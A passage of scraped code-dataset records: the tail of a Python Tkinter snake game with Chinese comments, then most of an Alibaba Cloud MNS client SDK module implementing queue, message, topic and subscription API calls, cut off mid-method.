self.snake['snake'].append(nextDot)\n\n # 没有吃到食物则将蛇尾弹出队列\n if nextDot != self.snake['food']:\n self.snake['tail'] = self.snake['snake'].pop(0)\n else:\n self.score += 1\n if self.score >= 500: # 达到 500 分判赢\n operationInfo['win'] = True\n self.food()\t\t# 刷新食物位置\n else:\n operationInfo['Lose'] = True # 输\n\n return operationInfo\n\n\n# 图像模块\nclass Graph():\n\n # 窗体对象\n panel = Tk()\n panel.title(\"超速贪吃蛇\")\t\t# 标题\n panel.geometry(\"640x480\")\t\t\t# 窗口大小\n panel.resizable(width=False, height=False) # 窗体大小不可变\n\n core = None\t\t\t\t# 用于存放核心对象\n graphMatrix = []\t\t# 图像面板矩阵\n\n dotSize = 10\t\t\t# 点的宽度 (像素为单位)\n stopThread = False\t\t# 暂停标识符\n\n # 主画布\n cv = Canvas(\n panel,\n bg='black',\n width=640,\n height=480\n )\n\n gameWindow = None\t\t# 用于存放游戏界面\n gameCv = None\t\t\t# 用于存放游戏界面画布\n\n def __init__(self, core):\n\n # 初始化\n self.core = core\n self.initGraph()\n self.initGraphMatrix()\n\n # 显示蛇身\n self.draw()\n\n # 监听键盘事件\n self.panel.bind('<KeyPress>', self.onKeyboardEvent)\n\n # 建立运动线程\n self.autoRun = threading.Thread(target=self.Run, args=())\n self.autoRun.setDaemon(True)\n self.autoRun.start()\n\n # 进入消息循环\n self.panel.mainloop()\n\n # 界面初始化\n def initGraph(self):\n self.createGameWindow()\t\t# 游戏界面初始化\n self.cv.pack()\n\n # 图像面板矩阵初始化\n def initGraphMatrix(self):\n for i in range(self.core.row):\n self.graphMatrix.append([])\n for j in range(self.core.column):\n rectangle = self.gameCv.create_rectangle(\n 40 + j * self.dotSize,\n 40 + i * self.dotSize,\n 40 + self.dotSize + j * self.dotSize,\n 40 + self.dotSize + i * self.dotSize,\n outline='black', # 间隔颜色\n fill='purple', # 紫色蛇身\n state=HIDDEN\n )\n self.graphMatrix[i].append(rectangle)\n\n # 创建游戏界面\n def createGameWindow(self):\n\n # 游戏界面画布\n self.gameCv = Canvas(\n self.panel,\n bg='black',\n width=640,\n height=480\n )\n\n # 双线主方框\n self.gameCv.create_rectangle(\n 36, 36, 44 + 20 * 20, 44 + 20 * 20,\n outline='lightgray',\n fill='white' # 墙体的颜色\n )\n self.gameCv.create_rectangle(\n 39, 39, 41 + 20 * 20, 41 + 20 * 20,\n outline='lightgray',\n fill='black'\n )\n self.gameWindow = self.cv.create_window(\n 320, 240,\n window=self.gameCv,\n state=NORMAL\n )\n\n # 记分板\n self.gameCv.create_rectangle(\n 500, 40, 600, 90,\n outline='white',\n fill='black'\n )\n self.gameCv.create_text(\n 525, 50,\n text='分数:',\n fill='red'\n )\n self.scoreText = self.gameCv.create_text(\n 575, 50,\n text=self.core.score,\n fill='white'\n )\n\n # 将蛇身画到图像面板矩阵\n def draw(self):\n lenght = len(self.core.snake['snake'])\n head = self.core.snake['snake'][lenght - 1]\n tail = self.core.snake['tail']\n\n # 更新蛇头\n self.gameCv.itemconfig(\n self.graphMatrix[head[0]][head[1]],\n state=NORMAL\n )\n\n # 删除蛇尾\n self.gameCv.itemconfig(\n self.graphMatrix[tail[0]][tail[1]],\n state=HIDDEN\n )\n\n # 显示食物\n food = self.core.snake['food']\n self.gameCv.itemconfig(\n self.graphMatrix[food[0]][food[1]],\n state=NORMAL\n )\n\n # 显示分数\n self.showScore()\n\n # 显示分数\n def showScore(self):\n self.gameCv.itemconfig(\n self.scoreText,\n text=self.core.score,\n fill='white'\n )\n\n # 键盘事件处理函数\n def onKeyboardEvent(self, event):\n\n # 方向控制\n if event.keysym == 'Up' or \\\n event.keysym == 'Down' or \\\n event.keysym == 'Left' or \\\n event.keysym == 'Right':\n operationInfo = self.core.move(event.keysym)\n if operationInfo['win']:\n messagebox.showinfo('Message', '游戏胜利!!!')\n os._exit(0)\n if not operationInfo['Lose']:\n self.draw()\n else:\n messagebox.showinfo('Message', '游戏失败了!')\n os._exit(0)\n\n # 暂停\n elif event.keysym == 'p' or \\\n event.keysym == 'P':\n if not self.stopThread:\n self.stopThread = True\n else:\n self.stopThread = False\n\n # 自动运动函数\n def Run(self):\n while True:\n if not self.stopThread:\n operationInfo = self.core.move(self.core.snake['direction'])\n if operationInfo['win']:\n messagebox.showinfo('Message', '游戏胜利!!!')\n os._exit(0)\n if not operationInfo['Lose']:\n self.draw()\n else:\n messagebox.showinfo('Message', '游戏失败了!')\n os._exit(0)\n time.sleep(self.core.interval)\n else:\n time.sleep(0.001)\n\n\nGraph(Core())\n" }, { "alpha_fraction": 0.6176439523696899, "alphanum_fraction": 0.6206021904945374, "avg_line_length": 46.148193359375, "blob_id": "99833f91888aba1edf7863ccb5746e2a7d93843b", "content_id": "a1a0009ade6ae7db44be3ba29d03190666671cf2", "detected_licenses": [ "MIT" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 37860, "license_type": "permissive", "max_line_length": 461, "num_lines": 803, "path": "/py-basis/发短信平台/阿里云/build/lib/mns_python_sdk/build/lib/mns/mns_client.py", "repo_name": "binyoucai/BJ-Python-GP-1", "src_encoding": "UTF-8", "text": "#coding=utf-8\n# Copyright (C) 2015, Alibaba Cloud Computing\n\n#Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the \"Software\"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\n#The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\n#THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n\nimport hashlib\nimport hmac\nimport platform\nfrom . import mns_pkg_info\nfrom .mns_xml_handler import *\nfrom .mns_tool import *\nfrom .mns_http import *\n\n#from mns.mns_xml_handler import *\n#from mns.mns_exception import *\n#from mns.mns_request import *\n#from mns.mns_tool import *\n#from mns.mns_http import *\n\nURISEC_QUEUE = \"queues\"\nURISEC_MESSAGE = \"messages\"\n\nURISEC_TOPIC = \"topics\"\nURISEC_SUBSCRIPTION = \"subscriptions\"\n\nclass MNSClient(object):\n #__metaclass__ = type\n def __init__(self, host, access_id, access_key, version = \"2015-06-06\", security_token = \"\", logger=None):\n self.host, self.is_https = self.process_host(host)\n self.access_id = access_id\n self.access_key = access_key\n self.version = version\n self.security_token = security_token\n self.logger = logger\n self.http = MNSHttp(self.host, logger=logger, is_https=self.is_https)\n if self.logger:\n self.logger.info(\"InitClient Host:%s Version:%s\" % (host, version))\n\n def set_log_level(self, log_level):\n if self.logger:\n MNSLogger.validate_loglevel(log_level)\n self.logger.setLevel(log_level)\n self.http.set_log_level(log_level)\n\n def close_log(self):\n self.logger = None\n self.http.close_log()\n\n def set_connection_timeout(self, connection_timeout):\n self.http.set_connection_timeout(connection_timeout)\n\n def set_keep_alive(self, keep_alive):\n self.http.set_keep_alive(keep_alive)\n\n def close_connection(self):\n self.http.conn.close()\n\n#===============================================queue operation===============================================#\n def set_account_attributes(self, req, resp):\n #check parameter\n SetAccountAttributesValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/?accountmeta=true\")\n req_inter.data = SetAccountAttrEncoder.encode(req)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n\n def get_account_attributes(self, req, resp):\n #make request internal\n req_inter = RequestInternal(req.method, \"/?accountmeta=true\")\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n account_attr = GetAccountAttrDecoder.decode(resp_inter.data, req_inter.get_req_id())\n resp.logging_bucket = account_attr[\"LoggingBucket\"]\n if self.logger:\n self.logger.info(\"GetAccountAttributes RequestId:%s LoggingBucket:%s\" % (resp.get_requestid(), resp.logging_bucket))\n\n def create_queue(self, req, resp):\n #check parameter\n CreateQueueValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s\" % (URISEC_QUEUE, req.queue_name))\n\n req_inter.data = QueueEncoder.encode(req)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n lheader = self.lower_header(resp.header)\n resp.queue_url = lheader[\"location\"]\n if self.logger:\n self.logger.info(\"CreateQueue RequestId:%s QueueName:%s QueueURL:%s\" % \\\n (resp.get_requestid(), req.queue_name, resp.queue_url))\n\n def delete_queue(self, req, resp):\n #check parameter\n DeleteQueueValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s\" % (URISEC_QUEUE, req.queue_name))\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if self.logger:\n self.logger.info(\"DeleteQueue RequestId:%s QueueName:%s\" % (resp.get_requestid(), req.queue_name))\n\n def list_queue(self, req, resp):\n #check parameter\n ListQueueValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s\" % URISEC_QUEUE)\n if req.prefix != u\"\":\n req_inter.header[\"x-mns-prefix\"] = req.prefix\n if req.ret_number != -1:\n req_inter.header[\"x-mns-ret-number\"] = str(req.ret_number)\n if req.marker != u\"\":\n req_inter.header[\"x-mns-marker\"] = str(req.marker)\n if req.with_meta:\n req_inter.header[\"x-mns-with-meta\"] = u\"true\"\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n resp.queueurl_list, resp.next_marker, resp.queuemeta_list = ListQueueDecoder.decode(resp_inter.data, req.with_meta, req_inter.get_req_id())\n if self.logger:\n firstQueueURL = \"\" if resp.queueurl_list == [] else resp.queueurl_list[0]\n lastQueueURL = \"\" if resp.queueurl_list == [] else resp.queueurl_list[len(resp.queueurl_list)-1]\n self.logger.info(\"ListQueue RequestId:%s Prefix:%s RetNumber:%s Marker:%s QueueCount:%s FirstQueueURL:%s LastQueueURL:%s NextMarker:%s\" % \\\n (resp.get_requestid(), req.prefix, req.ret_number, req.marker, \\\n len(resp.queueurl_list), firstQueueURL, lastQueueURL, resp.next_marker))\n\n def set_queue_attributes(self, req, resp):\n #check parameter\n SetQueueAttrValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s?metaoverride=true\" % (URISEC_QUEUE, req.queue_name))\n req_inter.data = QueueEncoder.encode(req, False)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if self.logger:\n self.logger.info(\"SetQueueAttributes RequestId:%s QueueName:%s\" % (resp.get_requestid(), req.queue_name))\n\n def get_queue_attributes(self, req, resp):\n #check parameter\n GetQueueAttrValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s\" % (URISEC_QUEUE, req.queue_name))\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n queue_attr = GetQueueAttrDecoder.decode(resp_inter.data, req_inter.get_req_id())\n resp.active_messages = int(queue_attr[\"ActiveMessages\"])\n resp.create_time = int(queue_attr[\"CreateTime\"])\n resp.delay_messages = int(queue_attr[\"DelayMessages\"])\n resp.delay_seconds = int(queue_attr[\"DelaySeconds\"])\n resp.inactive_messages = int(queue_attr[\"InactiveMessages\"])\n resp.last_modify_time = int(queue_attr[\"LastModifyTime\"])\n resp.maximum_message_size = int(queue_attr[\"MaximumMessageSize\"])\n resp.message_retention_period = int(queue_attr[\"MessageRetentionPeriod\"])\n resp.queue_name = queue_attr[\"QueueName\"]\n resp.visibility_timeout = int(queue_attr[\"VisibilityTimeout\"])\n resp.polling_wait_seconds = int(queue_attr[\"PollingWaitSeconds\"])\n resp.logging_enabled = True if queue_attr[\"LoggingEnabled\"].lower() == \"true\" else False\n if self.logger:\n self.logger.info(\"GetQueueAttributes RequestId:%s QueueName:%s\" % (resp.get_requestid(), req.queue_name))\n\n def send_message(self, req, resp):\n #check parameter\n SendMessageValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, uri = \"/%s/%s/%s\" % (URISEC_QUEUE, req.queue_name, URISEC_MESSAGE))\n req_inter.data = MessageEncoder.encode(req)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n resp.message_id, resp.message_body_md5 = SendMessageDecoder.decode(resp_inter.data, req_inter.get_req_id())\n if self.logger:\n self.logger.info(\"SendMessage RequestId:%s QueueName:%s Priority:%s DelaySeconds:%s MessageId:%s MessageBodyMD5:%s\" % \\\n (resp.get_requestid(), req.queue_name, req.priority, \\\n req.delay_seconds, resp.message_id, resp.message_body_md5))\n\n def batch_send_message(self, req, resp):\n #check parameter\n BatchSendMessageValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, uri = \"/%s/%s/%s\" % (URISEC_QUEUE, req.queue_name, URISEC_MESSAGE))\n req_inter.data = MessagesEncoder.encode(req.message_list, req.base64encode)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp, BatchSendMessageDecoder)\n if resp.error_data == \"\":\n resp.message_list = BatchSendMessageDecoder.decode(resp_inter.data, req_inter.get_req_id())\n if self.logger:\n self.logger.info(\"BatchSendMessage RequestId:%s QueueName:%s MessageCount:%s MessageInfo\\n%s\" % \\\n (resp.get_requestid(), req.queue_name, len(req.message_list), \\\n \"\\n\".join([\"MessageId:%s MessageBodyMD5:%s\" % (msg.message_id, msg.message_body_md5) for msg in resp.message_list])))\n\n def receive_message(self, req, resp):\n #check parameter\n ReceiveMessageValidator.validate(req)\n\n #make request internal\n req_url = \"/%s/%s/%s\" % (URISEC_QUEUE, req.queue_name, URISEC_MESSAGE)\n if req.wait_seconds != -1:\n req_url += \"?waitseconds=%s\" % req.wait_seconds\n req_inter = RequestInternal(req.method, req_url)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n data = RecvMessageDecoder.decode(resp_inter.data, req.base64decode, req_inter.get_req_id())\n self.make_recvresp(data, resp)\n if self.logger:\n self.logger.info(\"ReceiveMessage RequestId:%s QueueName:%s WaitSeconds:%s MessageId:%s MessageBodyMD5:%s NextVisibilityTime:%s ReceiptHandle:%s EnqueueTime:%s DequeueCount:%s\" % \\\n (resp.get_requestid(), req.queue_name, req.wait_seconds, resp.message_id, \\\n resp.message_body_md5, resp.next_visible_time, resp.receipt_handle, resp.enqueue_time, resp.dequeue_count))\n\n def batch_receive_message(self, req, resp):\n #check parameter\n BatchReceiveMessageValidator.validate(req)\n\n #make request internal\n req_url = \"/%s/%s/%s?numOfMessages=%s\" % (URISEC_QUEUE, req.queue_name, URISEC_MESSAGE, req.batch_size)\n if req.wait_seconds != -1:\n req_url += \"&waitseconds=%s\" % req.wait_seconds\n\n req_inter = RequestInternal(req.method, req_url)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n resp.message_list = BatchRecvMessageDecoder.decode(resp_inter.data, req.base64decode, req_inter.get_req_id())\n if self.logger:\n self.logger.info(\"BatchReceiveMessage RequestId:%s QueueName:%s WaitSeconds:%s BatchSize:%s MessageCount:%s \\\n MessagesInfo\\n%s\" % (resp.get_requestid(), req.queue_name, req.wait_seconds, req.batch_size, len(resp.message_list),\\\n \"\\n\".join([\"MessageId:%s MessageBodyMD5:%s NextVisibilityTime:%s ReceiptHandle:%s EnqueueTime:%s DequeueCount:%s\" % \\\n (msg.message_id, msg.message_body_md5, msg.next_visible_time, msg.receipt_handle, msg.enqueue_time, msg.dequeue_count) for msg in resp.message_list])))\n\n def delete_message(self, req, resp):\n #check parameter\n DeleteMessageValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s/%s?ReceiptHandle=%s\" %\n (URISEC_QUEUE, req.queue_name, URISEC_MESSAGE, req.receipt_handle))\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if self.logger:\n self.logger.info(\"DeleteMessage RequestId:%s QueueName:%s ReceiptHandle:%s\" % \\\n (resp.get_requestid(), req.queue_name, req.receipt_handle))\n\n def batch_delete_message(self, req, resp):\n #check parameter\n BatchDeleteMessageValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s/%s\" % (URISEC_QUEUE, req.queue_name, URISEC_MESSAGE))\n req_inter.data = ReceiptHandlesEncoder.encode(req.receipt_handle_list)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp, BatchDeleteMessageDecoder)\n if self.logger:\n self.logger.info(\"BatchDeleteMessage RequestId:%s QueueName:%s ReceiptHandles\\n%s\" % \\\n (resp.get_requestid(), req.queue_name, \"\\n\".join(req.receipt_handle_list)))\n\n def peek_message(self, req, resp):\n #check parameter\n PeekMessageValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s/%s?peekonly=true\" %\n (URISEC_QUEUE, req.queue_name, URISEC_MESSAGE))\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n data = PeekMessageDecoder.decode(resp_inter.data, req.base64decode, req_inter.get_req_id())\n self.make_peekresp(data, resp)\n if self.logger:\n self.logger.info(\"PeekMessage RequestId:%s QueueName:%s MessageInfo \\\n MessageId:%s BodyMD5:%s EnqueueTime:%s DequeueCount:%s\" % \\\n (resp.get_requestid(), req.queue_name, resp.message_id, resp.message_body_md5,\\\n resp.enqueue_time, resp.dequeue_count))\n\n def batch_peek_message(self, req, resp):\n #check parameter\n BatchPeekMessageValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s/%s?peekonly=true&numOfMessages=%s\" %\n (URISEC_QUEUE, req.queue_name, URISEC_MESSAGE, req.batch_size))\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n resp.message_list = BatchPeekMessageDecoder.decode(resp_inter.data, req.base64decode, req_inter.get_req_id())\n if self.logger:\n self.logger.info(\"BatchPeekMessage RequestId:%s QueueName:%s BatchSize:%s MessageCount:%s MessageInfo\\n%s\" % \\\n (resp.get_requestid(), req.queue_name, req.batch_size, len(resp.message_list), \\\n \"\\n\".join([\"MessageId:%s BodyMD5:%s EnqueueTime:%s DequeueCount:%s\" % \\\n (msg.message_id, msg.message_body_md5, msg.enqueue_time, msg.dequeue_count) for msg in resp.message_list])))\n\n def change_message_visibility(self, req, resp):\n #check parameter\n ChangeMsgVisValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s/%s?ReceiptHandle=%s&VisibilityTimeout=%d\" %\n (URISEC_QUEUE, req.queue_name, URISEC_MESSAGE, req.receipt_handle, req.visibility_timeout))\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n resp.receipt_handle, resp.next_visible_time = ChangeMsgVisDecoder.decode(resp_inter.data, req_inter.get_req_id())\n if self.logger:\n self.logger.info(\"ChangeMessageVisibility RequestId:%s QueueName:%s ReceiptHandle:%s VisibilityTimeout:%s NewReceiptHandle:%s NextVisibleTime:%s\" % \\\n (resp.get_requestid(), req.queue_name, req.receipt_handle, req.visibility_timeout,\\\n resp.receipt_handle, resp.next_visible_time))\n\n\n#===============================================topic operation===============================================#\n def create_topic(self, req, resp):\n #check parameter\n CreateTopicValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s\" % (URISEC_TOPIC, req.topic_name))\n req_inter.data = TopicEncoder.encode(req)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n resp.topic_url = self.lower_header(resp.header)[\"location\"]\n if self.logger:\n self.logger.info(\"CreateTopic RequestId:%s TopicName:%s TopicURl:%s\" % \\\n (resp.get_requestid(), req.topic_name, resp.topic_url))\n\n def delete_topic(self, req, resp):\n #check parameter\n DeleteTopicValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s\" % (URISEC_TOPIC, req.topic_name))\n self.build_header(req, req_inter)\n\n #send reqeust\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if self.logger:\n self.logger.info(\"DeleteTopic RequestId:%s TopicName:%s\" % (resp.get_requestid(), req.topic_name))\n\n def list_topic(self, req, resp):\n #check parameter\n ListTopicValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s\" % URISEC_TOPIC)\n if req.prefix != \"\":\n req_inter.header[\"x-mns-prefix\"] = req.prefix\n if req.ret_number != -1:\n req_inter.header[\"x-mns-ret-number\"] = str(req.ret_number)\n if req.marker != \"\":\n req_inter.header[\"x-mns-marker\"] = str(req.marker)\n if req.with_meta:\n req_inter.header[\"x-mns-with-meta\"] = \"true\"\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n resp.topicurl_list, resp.next_marker, resp.topicmeta_list = ListTopicDecoder.decode(resp_inter.data, req.with_meta, req_inter.get_req_id())\n first_topicurl = \"\" if len(resp.topicurl_list) == 0 else resp.topicurl_list[0]\n last_topicurl = \"\" if len(resp.topicurl_list) == 0 else resp.topicurl_list[len(resp.topicurl_list)-1]\n if self.logger:\n self.logger.info(\"ListTopic RequestId:%s Prefix:%s RetNumber:%s Marker:%s TopicCount:%s FirstTopicURL:%s LastTopicURL:%s NextMarker:%s\" % \\\n (resp.get_requestid(), req.prefix, req.ret_number, req.marker,\\\n len(resp.topicurl_list), first_topicurl, last_topicurl, resp.next_marker))\n\n def set_topic_attributes(self, req, resp):\n #check parameter\n SetTopicAttrValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s?metaoverride=true\" % (URISEC_TOPIC, req.topic_name))\n req_inter.data = TopicEncoder.encode(req)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if self.logger:\n self.logger.info(\"SetTopicAttributes RequestId:%s TopicName:%s\" % (resp.get_requestid(), req.topic_name))\n\n def get_topic_attributes(self, req, resp):\n #check parameter\n GetTopicAttrValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s\" % (URISEC_TOPIC, req.topic_name))\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n topic_attr = GetTopicAttrDecoder.decode(resp_inter.data, req_inter.get_req_id())\n resp.message_count = int(topic_attr[\"MessageCount\"])\n resp.create_time = int(topic_attr[\"CreateTime\"])\n resp.last_modify_time = int(topic_attr[\"LastModifyTime\"])\n resp.maximum_message_size = int(topic_attr[\"MaximumMessageSize\"])\n resp.message_retention_period = int(topic_attr[\"MessageRetentionPeriod\"])\n resp.topic_name = topic_attr[\"TopicName\"]\n resp.logging_enabled = True if topic_attr[\"LoggingEnabled\"].lower() == \"true\" else False\n if self.logger:\n self.logger.info(\"GetTopicAttributes RequestId:%s TopicName:%s\" % (resp.get_requestid(), req.topic_name))\n\n def publish_message(self, req, resp):\n #check parameter\n PublishMessageValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, uri = \"/%s/%s/%s\" % (URISEC_TOPIC, req.topic_name, URISEC_MESSAGE))\n req_inter.data = TopicMessageEncoder.encode(req)\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n resp.message_id, resp.message_body_md5 = PublishMessageDecoder.decode(resp_inter.data, req_inter.get_req_id())\n if self.logger:\n self.logger.info(\"PublishMessage RequestId:%s TopicName:%s MessageId:%s MessageBodyMD5:%s\" % \\\n (resp.get_requestid(), req.topic_name, resp.message_id, resp.message_body_md5))\n\n def subscribe(self, req, resp):\n #check parameter\n SubscribeValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, uri=\"/%s/%s/%s/%s\" % (URISEC_TOPIC, req.topic_name, URISEC_SUBSCRIPTION, req.subscription_name))\n req_inter.data = SubscriptionEncoder.encode(req)\n self.build_header(req, req_inter)\n\n #send request\n req_inter.data = req_inter.data.decode('utf-8')\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n lheader = self.lower_header(resp.header)\n resp.subscription_url = lheader[\"location\"]\n if self.logger:\n self.logger.info(\"Subscribe RequestId:%s TopicName:%s SubscriptionName:%s SubscriptionURL:%s\" % \\\n (resp.get_requestid(), req.topic_name, req.subscription_name, resp.subscription_url))\n\n def unsubscribe(self, req, resp):\n #check parameter\n UnsubscribeValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s/%s/%s\" % (URISEC_TOPIC, req.topic_name, URISEC_SUBSCRIPTION, req.subscription_name))\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if self.logger:\n self.logger.info(\"Unsubscribe RequestId:%s TopicName:%s SubscriptionName:%s\" % (resp.get_requestid(), req.topic_name, req.subscription_name))\n\n def list_subscription_by_topic(self, req, resp):\n #check parameter\n ListSubscriptionByTopicValidator.validate(req)\n\n #make request internal\n req_inter = RequestInternal(req.method, \"/%s/%s/%s\" % (URISEC_TOPIC, req.topic_name, URISEC_SUBSCRIPTION))\n if req.prefix != \"\":\n req_inter.header[\"x-mns-prefix\"] = req.prefix\n if req.ret_number != -1:\n req_inter.header[\"x-mns-ret-number\"] = str(req.ret_number)\n if req.marker != \"\":\n req_inter.header[\"x-mns-marker\"] = req.marker\n self.build_header(req, req_inter)\n\n #send request\n resp_inter = self.http.send_request(req_inter)\n\n #handle result, make response\n resp.status = resp_inter.status\n resp.header = resp_inter.header\n self.check_status(req_inter, resp_inter, resp)\n if resp.error_data == \"\":\n resp.subscriptionurl_list, resp.next_marker = ListSubscriptionByTopicDecoder.decode(resp_inter.data, req_inter.get_req_id())\n if self.logger:\n first_suburl = \"\" if len(resp.subscriptionurl_list) == 0 else resp.subscriptionurl_list[0]\n last_suburl = \"\" if len(resp.subscriptionurl_list) == 0 else resp.subscriptionurl_list[len(resp.subscriptionurl_list)-1]\n self.logger.info(\"ListSubscriptionByTopic RequestId:%s TopicName:%s Prefix:%s RetNumber:%s \\\n Marker:%s SubscriptionCount:%s FirstSubscriptionURL:%s 